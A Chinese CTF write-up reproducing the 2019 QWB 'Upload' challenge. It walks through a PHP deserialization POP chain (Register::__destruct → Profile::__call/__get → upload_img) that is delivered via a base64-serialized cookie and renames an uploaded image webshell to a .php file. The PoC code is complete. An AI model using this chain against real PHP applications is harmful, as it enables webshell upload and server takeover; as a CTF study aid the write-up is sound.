2019强网杯Upload复现记录

2019强网杯 复现
发布日期:2019-05-30
修改时间:2019-05-30

知识点

  • php代码审计
  • 反序列化

POC

大佬们的poc

<?php
namespace app\web\controller;

class Profile{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

}

class Register{
    public $checker;
    public $registed;

}
$a = new Register();
$a->registed = 0;
$a->checker = new Profile();
$a->checker->except = array('index'=>'upload_img');
$a->checker->ext=1;
$a->checker->filename_tmp="../public/upload/122c4a55d1a70cef972cac3982dd49a6/b67775c2904b78a78ad1276fd5d0c35a.png";
$a->checker->filename="../public/upload/122c4a55d1a70cef972cac3982dd49a6/playwi0.php";
echo base64_encode(serialize($a));
?>

思路

利用每次刷新都会检查cookie的反序列化函数

<?php
 $profile=cookie('user');
 if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));

构造新的类,绕过注册登录等判断,执行上传图片方法的copy函数,把原有的图片马,改成php文件

<?php
if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);

poc分析

构造Register类,让registed变量等于0。

<?php
class Register{
    public $checker;
    public $registed;

}
$a = new Register();
$a->registed = 0;

目的是为了执行Register类中的__destruct()魔法方法

<?php
 public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

再构造Profile的类

<?php
class Profile{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

}

建立新的对象,赋给Register中的checker

<?php
$a->checker = new Profile();

因为在源码的Profile()类中,并没有index()方法,所以这样做的目地时为了从Register()类中执行Profile()的魔法方法__call()和__get()

<?php
// application/web/controller/Register.php
 public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
// application/web/controller/Profile.php
 public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

为了执行Profile中的upload_img()方法,我们还需要给里面的except变量赋值

<?php
$a->checker->except = array('index'=>'upload_img');

为什么要这样赋值(重点),我们回顾一下上面的步骤: 因为

<?php
$a->checker = new Profile();

所以Register中的__destruct

<?php
$this->checker->index();

就会执行Profile中的index()方法,但是Profile中没有index方法,所以就会执行魔法方法__call

<?php
public function __call($name, $arguments)
    {
        if($this->{$name}){         //$this->{$name} == $this->index
            $this->{$this->{$name}}($arguments);
        }
    }

第一步if判断,因为Profile中并没index变量,所以又执行了魔法方法__get

<?php
public function __get($name)
    {
        return $this->except[$name];
    }

因为我们赋值了

<?php
$a->checker->except = array('index'=>'upload_img');

所以

<?php
return $this->except[$name] == $this->except[index] == 'upload_img'

所以__call中的

<?php
$this->{$this->{$name}}($arguments) == $this->upload_img($arguments);

因为$arguments为NULL,所以最后就是

<?php
$this->{$this->{$name}}($arguments) == $this->upload_img($arguments) == $this->upload_img()

成功执行Profile中的upload_img()方法。为了执行upload_img()方法中的copy函数,还需要

<?php
// 绕过if($this->ext) 
$a->checker->ext=1;
// 上传图片的地址
$a->checker->filename_tmp="../public/upload/122c4a55d1a70cef972cac3982dd49a6/b67775c2904b78a78ad1276fd5d0c35a.png";
// 赋值之后的文件名
$a->checker->filename="../public/upload/122c4a55d1a70cef972cac3982dd49a6/playwi0.php";

最后加上namespace,序列化

<?php
// 加在代码最前面
namespace app\web\controller;
// 最后输出
echo base64_encode(serialize($a));

把上传了图片马的帐号的cookie换成自己构造的,刷新之后就可以看到自己上传的图片没了,变成自己改的。

参考文章

  • https://www.zhaoj.in/read-5873.html
  • https://dwz.cn/K0Lel1rV